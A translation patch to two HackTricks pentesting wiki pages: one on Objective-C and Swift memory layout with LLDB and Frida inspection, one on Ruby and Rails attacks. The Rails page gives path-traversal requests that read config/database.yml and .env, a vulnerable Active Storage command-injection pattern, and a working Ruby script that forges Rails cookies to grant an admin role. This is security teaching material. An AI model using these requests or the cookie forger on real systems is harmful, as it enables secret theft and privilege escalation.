From 8162eb875e42ce46403d862e12466adf080e1e48 Mon Sep 17 00:00:00 2001 From: Translator Date: Tue, 26 Aug 2025 15:03:01 +0000 Subject: [PATCH] Translated ['src/macos-hardening/macos-security-and-privilege-escalation --- .../objects-in-memory.md | 200 ++++++++++++++---- .../pentesting-web/ruby-tricks.md | 95 ++++++++- 2 files changed, 251 insertions(+), 44 deletions(-) diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/objects-in-memory.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/objects-in-memory.md index 0355eba57..041154d1b 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/objects-in-memory.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/objects-in-memory.md @@ -4,9 +4,9 @@ ## CFRuntimeClass -Os objetos CF\* vêm do CoreFoundation, que fornece mais de 50 classes de objetos como `CFString`, `CFNumber` ou `CFAllocator`. +Objetos CF* vêm do CoreFoundation, que fornece mais de 50 classes de objetos como `CFString`, `CFNumber` ou `CFAllocator`. -Todas essas classes são instâncias da classe `CFRuntimeClass`, que, quando chamada, retorna um índice para a `__CFRuntimeClassTable`. A CFRuntimeClass é definida em [**CFRuntime.h**](https://opensource.apple.com/source/CF/CF-1153.18/CFRuntime.h.auto.html): +Todas essas classes são instâncias da classe `CFRuntimeClass`, que, quando chamada, retorna um índice para a `__CFRuntimeClassTable`. A CFRuntimeClass está definida em [**CFRuntime.h**](https://opensource.apple.com/source/CF/CF-1153.18/CFRuntime.h.auto.html): ```objectivec // Some comments were added to the original code @@ -57,66 +57,77 @@ uintptr_t requiredAlignment; // Or in _kCFRuntimeRequiresAlignment in the .versi ### Seções de memória usadas -A maior parte dos dados usados pelo tempo de execução do ObjectiveC mudará durante a execução, portanto, ele utiliza algumas seções do segmento **\_\_DATA** na memória: +A maior parte dos dados usados pelo runtime Objective‑C muda durante a execução; portanto ele usa várias seções da família de segmentos Mach‑O `__DATA` na memória. Historicamente, estas incluíam: -- **`__objc_msgrefs`** (`message_ref_t`): Referências de mensagem -- **`__objc_ivar`** (`ivar`): Variáveis de instância -- **`__objc_data`** (`...`): Dados mutáveis -- **`__objc_classrefs`** (`Class`): Referências de classe -- **`__objc_superrefs`** (`Class`): Referências de superclasse -- **`__objc_protorefs`** (`protocol_t *`): Referências de protocolo -- **`__objc_selrefs`** (`SEL`): Referências de seletor -- **`__objc_const`** (`...`): Dados de classe `r/o` e outros dados (esperançosamente) constantes -- **`__objc_imageinfo`** (`version, flags`): Usado durante o carregamento da imagem: Versão atualmente `0`; Flags especificam suporte a GC pré-otimizado, etc. -- **`__objc_protolist`** (`protocol_t *`): Lista de protocolos -- **`__objc_nlcatlist`** (`category_t`): Ponteiro para Categorias Não-Lazy definidas neste binário -- **`__objc_catlist`** (`category_t`): Ponteiro para Categorias definidas neste binário -- **`__objc_nlclslist`** (`classref_t`): Ponteiro para classes Objective-C Não-Lazy definidas neste binário -- **`__objc_classlist`** (`classref_t`): Ponteiros para todas as classes Objective-C definidas neste binário +- `__objc_msgrefs` (`message_ref_t`): Referências de mensagem +- `__objc_ivar` (`ivar`): Variáveis de instância +- `__objc_data` (`...`): Dados mutáveis +- `__objc_classrefs` (`Class`): Referências de classe +- `__objc_superrefs` (`Class`): Referências de superclasses +- `__objc_protorefs` (`protocol_t *`): Referências de protocolo +- `__objc_selrefs` (`SEL`): Referências de seletores +- `__objc_const` (`...`): Dados de classe somente‑leitura e outros dados (esperançosamente) constantes +- `__objc_imageinfo` (`version, flags`): Usado durante o carregamento da image: version atualmente `0`; flags especificam suporte a GC pré‑otimizado, etc. +- `__objc_protolist` (`protocol_t *`): Lista de protocolos +- `__objc_nlcatlist` (`category_t`): Ponteiro para Non‑Lazy Categories definidas neste binário +- `__objc_catlist` (`category_t`): Ponteiro para Categories definidas neste binário +- `__objc_nlclslist` (`classref_t`): Ponteiro para classes Objective‑C Non‑Lazy definidas neste binário +- `__objc_classlist` (`classref_t`): Ponteiros para todas as classes Objective‑C definidas neste binário -Ele também usa algumas seções no segmento **`__TEXT`** para armazenar valores constantes, pois não é possível escrever nesta seção: +Também usa algumas seções no segmento `__TEXT` para armazenar constantes: -- **`__objc_methname`** (C-String): Nomes de métodos -- **`__objc_classname`** (C-String): Nomes de classes -- **`__objc_methtype`** (C-String): Tipos de métodos +- `__objc_methname` (C‑String): Nomes de métodos +- `__objc_classname` (C‑String): Nomes de classes +- `__objc_methtype` (C‑String): Tipos de método -### Codificação de Tipo +O macOS/iOS moderno (especialmente em Apple Silicon) também coloca metadata de Objective‑C/Swift em: -Objective-C usa algumas codificações para codificar seletores e tipos de variáveis de tipos simples e complexos: +- `__DATA_CONST`: metadata Objective‑C imutável que pode ser compartilhada como read‑only entre processos (por exemplo, muitas listas `__objc_*` agora vivem aqui). +- `__AUTH` / `__AUTH_CONST`: segmentos contendo ponteiros que devem ser autenticados no carregamento ou em tempo de uso em arm64e (Pointer Authentication). Você também verá `__auth_got` em `__AUTH_CONST` em vez do legado `__la_symbol_ptr`/`__got` apenas. Ao instrumentar ou hookar, lembre‑se de contabilizar ambas as entradas `__got` e `__auth_got` em binários modernos. -- Tipos primitivos usam a primeira letra do tipo `i` para `int`, `c` para `char`, `l` para `long`... e usam a letra maiúscula no caso de ser sem sinal (`L` para `unsigned Long`). -- Outros tipos de dados cujas letras são usadas ou são especiais, usam outras letras ou símbolos como `q` para `long long`, `b` para `bitfields`, `B` para `booleans`, `#` para `classes`, `@` para `id`, `*` para `char pointers`, `^` para `pointers` genéricos e `?` para `indefinido`. -- Arrays, estruturas e uniões usam `[`, `{` e `(` +Para contexto sobre dyld pre‑optimization (por exemplo, selector uniquing e pre‑cálculo de classes/protocolos) e por que muitas dessas seções já estão "already fixed up" quando vêm do shared cache, confira as fontes Apple `objc-opt` e as notas do dyld shared cache. Isso afeta onde e como você pode patchar metadata em tempo de execução. -#### Exemplo de Declaração de Método +{{#ref}} +../macos-files-folders-and-binaries/universal-binaries-and-mach-o-format.md +{{#endref}} + +### Type Encoding + +Objective‑C usa mangling para codificar tipos de seletores e variáveis, tanto simples quanto complexos: + +- Tipos primitivos usam a primeira letra do tipo: `i` para `int`, `c` para `char`, `l` para `long`... e usam a letra maiúscula se for unsigned (`L` para `unsigned long`). +- Outros tipos de dados usam outras letras ou símbolos como `q` para `long long`, `b` para bitfields, `B` para booleanos, `#` para classes, `@` para `id`, `*` para `char *`, `^` para ponteiros genéricos e `?` para indefinido. +- Arrays, estruturas e unions usam `[` , `{` e `(` respectivamente. + +#### Example Method Declaration ```objectivec - (NSString *)processString:(id)input withOptions:(char *)options andError:(id)error; ``` O seletor seria `processString:withOptions:andError:` -#### Codificação de Tipo +#### Type Encoding - `id` é codificado como `@` - `char *` é codificado como `*` -A codificação de tipo completa para o método é: +A codificação completa de tipos para o método é: ```less @24@0:8@16*20^@24 ``` -#### Análise Detalhada +#### Análise detalhada -1. **Tipo de Retorno (`NSString *`)**: Codificado como `@` com comprimento 24 -2. **`self` (instância do objeto)**: Codificado como `@`, no deslocamento 0 -3. **`_cmd` (seletor)**: Codificado como `:`, no deslocamento 8 -4. **Primeiro argumento (`char * input`)**: Codificado como `*`, no deslocamento 16 -5. **Segundo argumento (`NSDictionary * options`)**: Codificado como `@`, no deslocamento 20 -6. **Terceiro argumento (`NSError ** error`)**: Codificado como `^@`, no deslocamento 24 +1. Tipo de retorno (`NSString *`): Codificado como `@` com comprimento 24 +2. `self` (instância do objeto): Codificado como `@`, no offset 0 +3. `_cmd` (seletor): Codificado como `:`, no offset 8 +4. Primeiro argumento (`char * input`): Codificado como `*`, no offset 16 +5. Segundo argumento (`NSDictionary * options`): Codificado como `@`, no offset 20 +6. Terceiro argumento (`NSError ** error`): Codificado como `^@`, no offset 24 -**Com o seletor + a codificação você pode reconstruir o método.** +Com o seletor + a codificação você pode reconstruir o método. -### **Classes** +### Classes -Classes em Objective-C são uma struct com propriedades, ponteiros de método... É possível encontrar a struct `objc_class` no [**código-fonte**](https://opensource.apple.com/source/objc4/objc4-756.2/runtime/objc-runtime-new.h.auto.html): +Classes em Objective‑C são C structs com propriedades, ponteiros de método, etc. É possível encontrar a struct `objc_class` no [**source code**](https://opensource.apple.com/source/objc4/objc4-756.2/runtime/objc-runtime-new.h.auto.html): ```objectivec struct objc_class : objc_object { // Class ISA; @@ -137,9 +148,114 @@ data()->setFlags(set); } [...] ``` -Esta classe usa alguns bits do campo isa para indicar algumas informações sobre a classe. +Esta classe usa alguns bits do campo `isa` para indicar informações sobre a classe. -Então, a struct tem um ponteiro para a struct `class_ro_t` armazenada no disco, que contém atributos da classe, como seu nome, métodos base, propriedades e variáveis de instância.\ -Durante a execução, uma estrutura adicional `class_rw_t` é usada, contendo ponteiros que podem ser alterados, como métodos, protocolos, propriedades... +Depois, a struct tem um ponteiro para a struct `class_ro_t` armazenada no disco, que contém atributos da classe como seu nome, métodos base, propriedades e variáveis de instância. Em tempo de execução, uma estrutura adicional `class_rw_t` é usada contendo ponteiros que podem ser alterados, como métodos, protocolos e propriedades. + +{{#ref}} +../macos-basic-objective-c.md +{{#endref}} + +--- + +## Representações modernas de objetos na memória (arm64e, tagged pointers, Swift) + +### `isa` não‑ponte e Pointer Authentication (arm64e) + +No Apple Silicon e em runtimes recentes o `isa` do Objective‑C nem sempre é um ponteiro bruto para a classe. No arm64e é uma estrutura empacotada que pode também carregar um Pointer Authentication Code (PAC). Dependendo da plataforma, pode incluir campos como `nonpointer`, `has_assoc`, `weakly_referenced`, `extra_rc`, e o próprio ponteiro da classe (deslocado ou com sinal). Isso significa que desreferenciar cegamente os primeiros 8 bytes de um objeto Objective‑C nem sempre retornará um ponteiro `Class` válido. + +Notas práticas ao depurar em arm64e: + +- O LLDB normalmente remove os bits de PAC para você ao imprimir objetos Objective‑C com `po`, mas ao trabalhar com ponteiros brutos você pode precisar remover a autenticação manualmente: + +```lldb +(lldb) expr -l objc++ -- #include +(lldb) expr -l objc++ -- void *raw = ptrauth_strip((void*)0x000000016f123abc, ptrauth_key_asda); +(lldb) expr -l objc++ -O -- (Class)object_getClass((id)raw) +``` + +- Muitos ponteiros de função/dados em Mach‑O residirão em `__AUTH`/`__AUTH_CONST` e requerem autenticação antes do uso. Se você estiver interpondo ou re‑binding (por exemplo, fishhook‑style), garanta que também trate `__auth_got` além do legado `__got`. + +Para um mergulho profundo nas garantias da linguagem/ABI e nas intrínsecas de `` disponíveis no Clang/LLVM, veja a referência no final desta página. + +### Objetos com tagged pointers + +Algumas classes do Foundation evitam alocação no heap codificando o payload do objeto diretamente no valor do ponteiro (tagged pointers). A detecção difere por plataforma (por exemplo, o bit mais significativo no arm64, o menos significativo no x86_64 macOS). Objetos tagged não têm um `isa` regular armazenado na memória; o runtime resolve a classe a partir dos bits de tag. Ao inspecionar valores arbitrários de `id`: + +- Use APIs do runtime em vez de mexer no campo `isa`: `object_getClass(obj)` / `[obj class]`. +- No LLDB, apenas `po (id)0xADDR` imprimirá instâncias de tagged pointer corretamente porque o runtime é consultado para resolver a classe. + +### Swift heap objects and metadata + +Classes puras em Swift também são objetos com um header apontando para metadados Swift (não o `isa` do Objective‑C). Para inspecionar processos Swift em execução sem modificá‑los, você pode usar o `swift-inspect` da toolchain Swift, que utiliza a biblioteca Remote Mirror para ler os metadados em tempo de execução: +```bash +# Xcode toolchain (or Swift.org toolchain) provides swift-inspect +swift-inspect dump-raw-metadata +swift-inspect dump-arrays +# On Darwin additionally: +swift-inspect dump-concurrency +``` +Isto é muito útil para mapear objetos do heap Swift e conformidades de protocolo ao fazer reversing de apps mistos Swift/ObjC. + +--- + +## Resumo de inspeção em tempo de execução (LLDB / Frida) + +### LLDB + +- Imprimir objeto ou classe a partir de um ponteiro bruto: +```lldb +(lldb) expr -l objc++ -O -- (id)0x0000000101234560 +(lldb) expr -l objc++ -O -- (Class)object_getClass((id)0x0000000101234560) +``` +- Inspecionar classe Objective‑C a partir de um ponteiro para o `self` de um método de objeto em um breakpoint: +```lldb +(lldb) br se -n '-[NSFileManager fileExistsAtPath:]' +(lldb) r +... breakpoint hit ... +(lldb) po (id)$x0 # self +(lldb) expr -l objc++ -O -- (Class)object_getClass((id)$x0) +``` +- Dump seções que contêm metadados Objective‑C (nota: muitas agora estão em `__DATA_CONST` / `__AUTH_CONST`): +```lldb +(lldb) image dump section --section __DATA_CONST.__objc_classlist +(lldb) image dump section --section __DATA_CONST.__objc_selrefs +(lldb) image dump section --section __AUTH_CONST.__auth_got +``` +- Ler a memória de um objeto de classe conhecido para pivot to `class_ro_t` / `class_rw_t` ao reverter listas de métodos: +```lldb +(lldb) image lookup -r -n _OBJC_CLASS_$_NSFileManager +(lldb) memory read -fx -s8 0xADDRESS_OF_CLASS_OBJECT +``` +### Frida (Objective‑C and Swift) + +Frida fornece bridges de alto nível para runtime, muito úteis para descobrir e instrumentar objetos em execução sem símbolos: + +- Enumerar classes e métodos, resolver nomes reais de classes em tempo de execução e interceptar Objective‑C selectors: +```js +if (ObjC.available) { +// List a class' methods +console.log(ObjC.classes.NSFileManager.$ownMethods); + +// Intercept and inspect arguments/return values +const impl = ObjC.classes.NSFileManager['- fileExistsAtPath:isDirectory:'].implementation; +Interceptor.attach(impl, { +onEnter(args) { +this.path = new ObjC.Object(args[2]).toString(); +}, +onLeave(retval) { +console.log('fileExistsAtPath:', this.path, '=>', retval); +} +}); +} +``` +- Swift bridge: enumerar tipos Swift e interagir com instâncias Swift (requer Frida recente; muito útil em alvos Apple Silicon). + +--- + +## Referências + +- Clang/LLVM: Pointer Authentication e as intrinsics `` (arm64e ABI). https://clang.llvm.org/docs/PointerAuthentication.html +- Cabeçalhos do runtime objc da Apple (tagged pointers, non‑pointer `isa`, etc.), por exemplo, `objc-object.h`. https://opensource.apple.com/source/objc4/objc4-818.2/runtime/objc-object.h.auto.html {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/pentesting-web/ruby-tricks.md b/src/network-services-pentesting/pentesting-web/ruby-tricks.md index 9b15a7148..9c9ea0e3c 100644 --- a/src/network-services-pentesting/pentesting-web/ruby-tricks.md +++ b/src/network-services-pentesting/pentesting-web/ruby-tricks.md @@ -1,9 +1,100 @@ -# Ruby Tricks +# Truques em Ruby {{#include ../../banners/hacktricks-training.md}} ## Upload de arquivo para RCE -Como explicado em [this article](https://www.offsec.com/blog/cve-2024-46986/), fazer upload de um arquivo `.rb` em diretórios sensíveis como `config/initializers/` pode levar à execução remota de código (RCE) em aplicações Ruby on Rails. +As explained in [this article](https://www.offsec.com/blog/cve-2024-46986/), uploading a `.rb` file into sensitive directories such as `config/initializers/` can lead to remote code execution (RCE) in Ruby on Rails applications. +Dicas: +- Outros locais de boot/eager-load que são executados na inicialização da app também são arriscados quando graváveis (por exemplo, `config/initializers/` é o clássico). Se você encontrar um upload arbitrário de arquivos que caia em qualquer lugar sob `config/` e seja posteriormente avaliado/required, pode obter RCE no boot. +- Procure builds de dev/staging que copiem arquivos controlados pelo usuário para a imagem do container onde Rails irá carregá-los na inicialização. + +## Active Storage image transformation → execução de comando (CVE-2025-24293) + +Quando uma aplicação usa Active Storage com `image_processing` + `mini_magick`, e passa parâmetros não confiáveis para métodos de transformação de imagem, versões do Rails anteriores a 7.1.5.2 / 7.2.2.2 / 8.0.2.1 podem permitir injeção de comando porque alguns métodos de transformação foram acidentalmente permitidos por padrão. + +- Um padrão vulnerável se parece com: +```erb +<%= image_tag blob.variant(params[:t] => params[:v]) %> +``` +onde `params[:t]` e/ou `params[:v]` são controlados pelo atacante. + +- O que tentar durante os testes +- Identifique quaisquer endpoints que aceitem opções de variant/processing, nomes de transformação ou argumentos arbitrários do ImageMagick. +- Fuzz `params[:t]` e `params[:v]` em busca de erros suspeitos ou efeitos colaterais de execução. Se você conseguir influenciar o nome do método ou passar argumentos brutos que cheguem ao MiniMagick, pode obter code exec no host do processador de imagens. +- Se você só tem acesso de leitura a variantes geradas, tente exfiltração cega via operações ImageMagick crafted. + +- Remediação/detecções +- Se você encontrar Rails < 7.1.5.2 / 7.2.2.2 / 8.0.2.1 com Active Storage + `image_processing` + `mini_magick` e transformações controladas pelo usuário, considere explorável. Recomende atualizar e aplicar allowlists estritas para métodos/params e uma policy do ImageMagick mais rígida. + +## Rack::Static LFI / path traversal (CVE-2025-27610) + +Se a stack alvo usa Rack middleware diretamente ou via frameworks, versões de `rack` anteriores a 2.2.13, 3.0.14 e 3.1.12 permitem Local File Inclusion via `Rack::Static` quando `:root` não está definido/mal configurado. Traversal codificado em `PATH_INFO` pode expor arquivos sob o diretório de trabalho do processo ou um root inesperado. + +- Procure apps que montem `Rack::Static` em `config.ru` ou nas stacks de middleware. Tente traversals codificados contra caminhos estáticos, por exemplo: +```text +GET /assets/%2e%2e/%2e%2e/config/database.yml +GET /favicon.ico/..%2f..%2f.env +``` +Ajuste o prefix para corresponder ao `urls:` configurado. Se a app responder com o conteúdo do arquivo, provavelmente você tem LFI para qualquer coisa sob o `:root` resolvido. + +- Mitigação: atualizar o Rack; garanta que `:root` aponte apenas para um diretório de arquivos públicos e seja explicitamente definido. + +## Forjar/descriptografar cookies do Rails quando `secret_key_base` is leaked + +Rails cifra e assina cookies usando chaves derivadas de `secret_key_base`. If that value leaks (e.g., in a repo, logs, or misconfigured credentials), you can usually decrypt, modify, and re-encrypt cookies. Isso frequentemente leva a authz bypass se a app armazenar roles, user IDs, ou feature flags em cookies. + +Minimal Ruby para descriptografar e recriptografar cookies modernos (AES-256-GCM, padrão nas versões recentes do Rails): +```ruby +require 'cgi' +require 'json' +require 'active_support' +require 'active_support/message_encryptor' +require 'active_support/key_generator' + +secret_key_base = ENV.fetch('SECRET_KEY_BASE_LEAKED') +raw_cookie = CGI.unescape(ARGV[0]) + +salt = 'authenticated encrypted cookie' +cipher = 'aes-256-gcm' +key_len = ActiveSupport::MessageEncryptor.key_len(cipher) +secret = ActiveSupport::KeyGenerator.new(secret_key_base, iterations: 1000).generate_key(salt, key_len) +enc = ActiveSupport::MessageEncryptor.new(secret, cipher: cipher, serializer: JSON) + +plain = enc.decrypt_and_verify(raw_cookie) +puts "Decrypted: #{plain.inspect}" + +# Modify and re-encrypt (example: escalate role) +plain['role'] = 'admin' if plain.is_a?(Hash) +forged = enc.encrypt_and_sign(plain) +puts "Forged cookie: #{CGI.escape(forged)}" +``` +Notes: +- Aplicações mais antigas podem usar AES-256-CBC e salts `encrypted cookie` / `signed encrypted cookie`, ou serializadores JSON/Marshal. Ajuste salts, cipher, e serializer conforme necessário. +- Em caso de comprometimento/avaliação, rotacione `secret_key_base` para invalidar todos os cookies existentes. + +## See also (Ruby/Rails-specific vulns) + +- Desserialização em Ruby e class pollution: +{{#ref}} +../../pentesting-web/deserialization/README.md +{{#endref}} +{{#ref}} +../../pentesting-web/deserialization/ruby-class-pollution.md +{{#endref}} +{{#ref}} +../../pentesting-web/deserialization/ruby-_json-pollution.md +{{#endref}} +- Injeção de template em engines Ruby (ERB/Haml/Slim, etc.): +{{#ref}} +../../pentesting-web/ssti-server-side-template-injection/README.md +{{#endref}} + + + +## References + +- Anúncio de Segurança do Rails: CVE-2025-24293 Active Storage unsafe transformation methods (fixed in 7.1.5.2 / 7.2.2.2 / 8.0.2.1). https://discuss.rubyonrails.org/t/cve-2025-24293-active-storage-allowed-transformation-methods-potentially-unsafe/89670 +- GitHub Advisory: Rack::Static Local File Inclusion (CVE-2025-27610). https://github.com/advisories/GHSA-7wqh-767x-r66v {{#include ../../banners/hacktricks-training.md}}